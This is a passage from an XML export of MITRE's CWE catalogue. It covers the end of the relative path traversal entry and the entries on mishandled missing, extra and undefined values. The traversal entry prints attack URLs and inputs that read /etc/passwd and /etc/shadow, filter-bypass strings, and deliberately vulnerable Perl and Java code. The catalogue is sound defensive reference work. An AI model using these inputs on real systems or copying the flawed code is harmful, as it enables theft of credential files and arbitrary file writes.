						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When validating filenames, use stringent whitelists that limit the
							character set to be used. If feasible, only allow a single "." character
							in the filename to avoid weaknesses such as CWE-23, and exclude
							directory separators such as "/" to avoid CWE-36. Use a whitelist of
							allowable file extensions, which will help to avoid CWE-434.</Text>
						            <Text>Do not rely exclusively on a filtering mechanism that removes
							potentially dangerous characters. This is equivalent to a blacklist,
							which may be incomplete (CWE-184). For example, filtering "/" is
							insufficient protection if the filesystem also supports the use of "\"
							as a directory separator. Another possible error could occur when the
							filtering is applied in a way that still produces dangerous data
							(CWE-182). For example, if "../" sequences are removed from the
							".../...//" string in a sequential fashion, two instances of "../" would
							be removed from the original string, but the remaining characters would
							still form the "../" string.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
						            <Text>Use a built-in path canonicalization function (such as realpath() in
							C) that produces the canonical version of the pathname, which
							effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
							This includes:</Text>
						            <Block Block_Nature="List">
							              <Text>realpath() in C</Text>
							              <Text>getCanonicalPath() in Java</Text>
							              <Text>GetFullPath() in ASP.NET</Text>
							              <Text>realpath() or abs_path() in Perl</Text>
							              <Text>realpath() in PHP</Text>
						            </Block>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following URLs are vulnerable to this attack:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code>http://example.com.br/get-files.jsp?file=report.pdf</Code>
							              <Code>http://example.com.br/get-page.php?home=aaa.html</Code>
							              <Code>http://example.com.br/some-page.asp?page=index.html</Code>
						            </Block>
						            <Text>A simple way to execute this attack is like this:</Text>
						            <Block Block_Nature="Attack">
							              <Code>http://example.com.br/get-files?file=../../../../somedir/somefile</Code>
							              <Code>http://example.com.br/../../../../etc/shadow</Code>
							              <Code>http://example.com.br/get-files?file=../../../../etc/passwd</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-27">
					          <Intro_Text>The following code could be for a social networking application in
						which each user's profile information is stored in a separate file. All
						files are stored in a single directory.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>my $dataPath = "/users/cwe/profiles";</Code>
							              <Code>my $username = param("user");</Code>
							              <Code>my $profilePath = $dataPath . "/" . $username;</Code>
							              <Code/>
							              <Code>open(my $fh, "&lt;$profilePath") || ExitError("profile read error:
								$profilePath");</Code>
							              <Code>print "&lt;ul&gt;\n";</Code>
							              <Code>while (&lt;$fh&gt;) {</Code>
							              <Block>
								                <Code>print "&lt;li&gt;$_&lt;/li&gt;\n";</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>print "&lt;/ul&gt;\n";</Code>
						            </Block>
						            <Text>While the programmer intends to access files such as
							"/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no
							verification of the incoming user parameter. An attacker could provide a
							string such as:</Text>
						            <Block Block_Nature="Attack">
							              <Code>../../../etc/passwd</Code>
						            </Block>
						            <Text>The program would generate a profile pathname like this:</Text>
						            <Block Block_Nature="Result">
							              <Code>/users/cwe/profiles/../../../etc/passwd</Code>
						            </Block>
						            <Text>When the file is opened, the operating system resolves the "../"
							during path canonicalization and actually accesses this file:</Text>
						            <Block Block_Nature="Result">
							              <Code>/etc/passwd</Code>
						            </Block>
						            <Text>As a result, the attacker could read the entire text of the password
							file.</Text>
						            <Text>Notice how this code also contains an error message information leak
							(CWE-209) if the user parameter does not produce a file that exists: the
							full pathname is provided. Because of the lack of output encoding of the
							file that is retrieved, there might also be a cross-site scripting
							problem (CWE-79) if profile contains any HTML, but other code would need
							to be examined. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-22">
					          <Intro_Text>The following code demonstrates the unrestricted upload of a file
						with a Java servlet and a path traversal vulnerability. The action attribute
						of an HTML form is sending the upload file request to the Java
						servlet.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>HTML</Code_Example_Language>
							              <Code>&lt;form action="FileUploadServlet" method="post"
								enctype="multipart/form-data"&gt;</Code>
							              <Code/>
							              <Code>Choose a file to upload: </Code>
							              <Code>&lt;input type="file" name="filename"/&gt;</Code>
							              <Code>&lt;br/&gt;</Code>
							              <Code>&lt;input type="submit" name="submit" value="Submit"/&gt;</Code>
							              <Code/>
							              <Code>&lt;/form&gt;</Code>
						            </Block>
						            <Text>When submitted the Java servlet's doPost method will receive the
							request, extract the name of the file from the Http request header, read
							the file contents from the request and output the file to the local
							upload directory.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class FileUploadServlet extends HttpServlet {</Code>
							              <Code/>
							              <Block>
								                <Code>...</Code>
								                <Code/>
								                <Code>protected void doPost(HttpServletRequest request,
									HttpServletResponse response) throws ServletException,
									IOException {</Code>
								                <Code/>
								                <Block>
									                  <Code>response.setContentType("text/html");</Code>
									                  <Code>PrintWriter out = response.getWriter();</Code>
									                  <Code>String contentType = request.getContentType();</Code>
									                  <Code/>
									                  <Code>// the starting position of the boundary header</Code>
									                  <Code>int ind = contentType.indexOf("boundary="); </Code>
									                  <Code>String boundary = contentType.substring(ind+9);</Code>
									                  <Code/>
									                  <Code>String pLine = new String(); </Code>
									                  <Code>String uploadLocation = new
										String(UPLOAD_DIRECTORY_STRING); //Constant value</Code>
									                  <Code/>
									                  <Code>// verify that content type is multipart form data </Code>
									                  <Code>if (contentType != null &amp;&amp;
										contentType.indexOf("multipart/form-data") != -1) {</Code>
									                  <Code/>
									                  <Block>
										                    <Code>// extract the filename from the Http header</Code>
										                    <Code>BufferedReader br = new BufferedReader(new
											InputStreamReader(request.getInputStream()));</Code>
										                    <Code>...</Code>
										                    <Code>pLine = br.readLine(); </Code>
										                    <Code>String filename =
											pLine.substring(pLine.lastIndexOf("\\"),
											pLine.lastIndexOf("\""));</Code>
										                    <Code>...</Code>
										                    <Code/>
										                    <Code>// output the file to the local upload
											directory</Code>
										                    <Code>try {</Code>
										                    <Block>
											                      <Code>BufferedWriter bw = new BufferedWriter(new
												FileWriter(uploadLocation+filename, true));</Code>
											                      <Code>for (String line; (line=br.readLine())!=null; )
												{</Code>
											                      <Block>
												                        <Code>if (line.indexOf(boundary) == -1) {</Code>
												                        <Block>
												                           <Code>bw.write(line);</Code>
												                           <Code>bw.newLine();</Code>
												                           <Code>bw.flush();</Code>
												                        </Block>
												                        <Code>}</Code>
											                      </Block>
											                      <Code>} //end of for loop</Code>
											                      <Code>bw.close(); </Code>
										                    </Block>
										                    <Code/>
										                    <Code>} catch (IOException ex) {...}</Code>
										                    <Code>// output successful upload response HTML page</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>// output unsuccessful upload response HTML page</Code>
									                  <Code>else </Code>
									                  <Code>{...}</Code>
								                </Block>
								                <Code>}</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>As with the previous example this code does not perform a check on the
							type of the file being uploaded. This could allow an attacker to upload
							any executable file or other file with malicious code.</Text>
						            <Text>Additionally, the creation of the BufferedWriter object is subject to
							relative path traversal (CWE-22, CWE-23). Depending on the executing
							environment, the attacker may be able to specify arbitrary files to
							write to, leading to a wide variety of consequences, from code
							execution, XSS (CWE-79), or system crash.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0298</Observed_Example_Reference>
					          <Observed_Example_Description> Server allows remote attackers to cause a denial
						of service via certain HTTP GET requests containing a %2e%2e (encoded
						dot-dot), several "/../" sequences, or several "../" in a URI.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0661</Observed_Example_Reference>
					          <Observed_Example_Description>"\" not in blacklist for web server, allowing path
						traversal attacks when the server is run in Windows and other OSes.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0946</Observed_Example_Reference>
					          <Observed_Example_Description>Arbitrary files may be read files via ..\ (dot
						dot) sequences in an HTTP request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1042</Observed_Example_Reference>
					          <Observed_Example_Description> Directory traversal vulnerability in search
						engine for web server allows remote attackers to read arbitrary files via
						"..\" sequences in queries. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1209</Observed_Example_Reference>
					          <Observed_Example_Description> Directory traversal vulnerability in FTP server
						allows remote attackers to read arbitrary files via "..\" sequences in a GET
						request. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1178</Observed_Example_Reference>
					          <Observed_Example_Description> Directory traversal vulnerability in servlet
						allows remote attackers to execute arbitrary commands via "..\" sequences in
						an HTTP request. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1987</Observed_Example_Reference>
					          <Observed_Example_Description>Protection mechanism checks for "/.." but doesn't
						account for Windows-specific "\.." allowing read of arbitrary files.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2142</Observed_Example_Reference>
					          <Observed_Example_Description> Directory traversal vulnerability in FTP server
						allows remote authenticated attackers to list arbitrary directories via a
						"\.." sequence in an LS command. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0160</Observed_Example_Reference>
					          <Observed_Example_Description> The administration function in Access Control
						Server allows remote attackers to read HTML, Java class, and image files
						outside the web root via a "..\.." sequence in the URL to port 2002.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0467</Observed_Example_Reference>
					          <Observed_Example_Description>"\..." in web
						server</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0963</Observed_Example_Reference>
					          <Observed_Example_Description>"..." in cd command in FTP
						server</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1193</Observed_Example_Reference>
					          <Observed_Example_Description>"..." in cd command in FTP
						server</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1131</Observed_Example_Reference>
					          <Observed_Example_Description>"..." in cd command in FTP
						server</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0480</Observed_Example_Reference>
					          <Observed_Example_Description>read of arbitrary files and directories using GET
						or CD with "..." in Windows-based FTP server.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0288</Observed_Example_Reference>
					          <Observed_Example_Description>read files using "." and Unicode-encoded "/" or
						"\" characters in the URL.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0313</Observed_Example_Reference>
					          <Observed_Example_Description>Directory listing of web server using
						"..."</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1658</Observed_Example_Reference>
					          <Observed_Example_Description>Triple dot</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0240</Observed_Example_Reference>
					          <Observed_Example_Description>read files via "/........../" in
						URL</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0773</Observed_Example_Reference>
					          <Observed_Example_Description>read files via "...." in web
						server</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1082</Observed_Example_Reference>
					          <Observed_Example_Description>read files via "......" in web server (doubled
						triple dot?)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2121</Observed_Example_Reference>
					          <Observed_Example_Description>read files via "......" in web server (doubled
						triple dot?)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0491</Observed_Example_Reference>
					          <Observed_Example_Description>multiple attacks using "..", "...", and "...." in
						different commands</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0615</Observed_Example_Reference>
					          <Observed_Example_Description>"..." or "...." in chat
						server</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2169</Observed_Example_Reference>
					          <Observed_Example_Description>chain: ".../...//" bypasses protection mechanism
						using regexp's that remove "../" resulting in collapse into an unsafe value
						"../" (CWE-182) and resultant path traversal.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0202</Observed_Example_Reference>
					          <Observed_Example_Description>".../....///" bypasses regexp's that remove "./"
						and "../"</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1670</Observed_Example_Reference>
					          <Observed_Example_Description>Mail server allows remote attackers to create
						arbitrary directories via a ".." or rename arbitrary files via a "....//" in
						user supplied parameters.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>OWASP Attack listing</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/Relative_Path_Traversal</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 9, "Filenames and Paths", Page
						503.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Relative Path Traversal</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>23</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>76</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated References, Demonstrative_Example,
						Potential_Mitigations, Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, References,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="230" Name="Improper Handling of Missing Values" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not handle or incorrectly handles when a
					parameter, field, or argument name is specified, but the associated value is
					missing, i.e. it is empty, blank, or null.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>229</Relationship_Target_ID>
					          <!--Improper Handling of Values-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>851</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0422</Observed_Example_Reference>
					          <Observed_Example_Description>Blank Host header triggers resultant
						infoleak.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1006</Observed_Example_Reference>
					          <Observed_Example_Description>Blank "charset" attribute in MIME header triggers
						crash.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1504</Observed_Example_Reference>
					          <Observed_Example_Description>Blank parameter causes external error
						infoleak.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2053</Observed_Example_Reference>
					          <Observed_Example_Description>Blank parameter causes external error
						infoleak.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Some "crash by port scan" bugs are probably due to this, but lack of
						diagnosis makes it difficult to be certain.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Missing Value Error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not catch NullPointerException or any of its
						ancestors</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR08-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes, Research_Gaps</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Missing Value
						Error</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Handle Missing
						Value</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="231" Name="Improper Handling of Extra Values" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not handle or incorrectly handles when more
					values are specified than expected.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>229</Relationship_Target_ID>
					          <!--Improper Handling of Values-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>120</Relationship_Target_ID>
					          <!--Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This can overlap buffer overflows.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>This typically occurs in situations when only one value is
						expected.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Extra Value Error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Modes_of_Introduction, Relationships,
						Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Extra Value
						Error</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Handle Extra
						Value</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="232" Name="Improper Handling of Undefined Values" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not handle or incorrectly handles when a
					value is not defined or supported for the associated parameter, field, or
					argument name.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
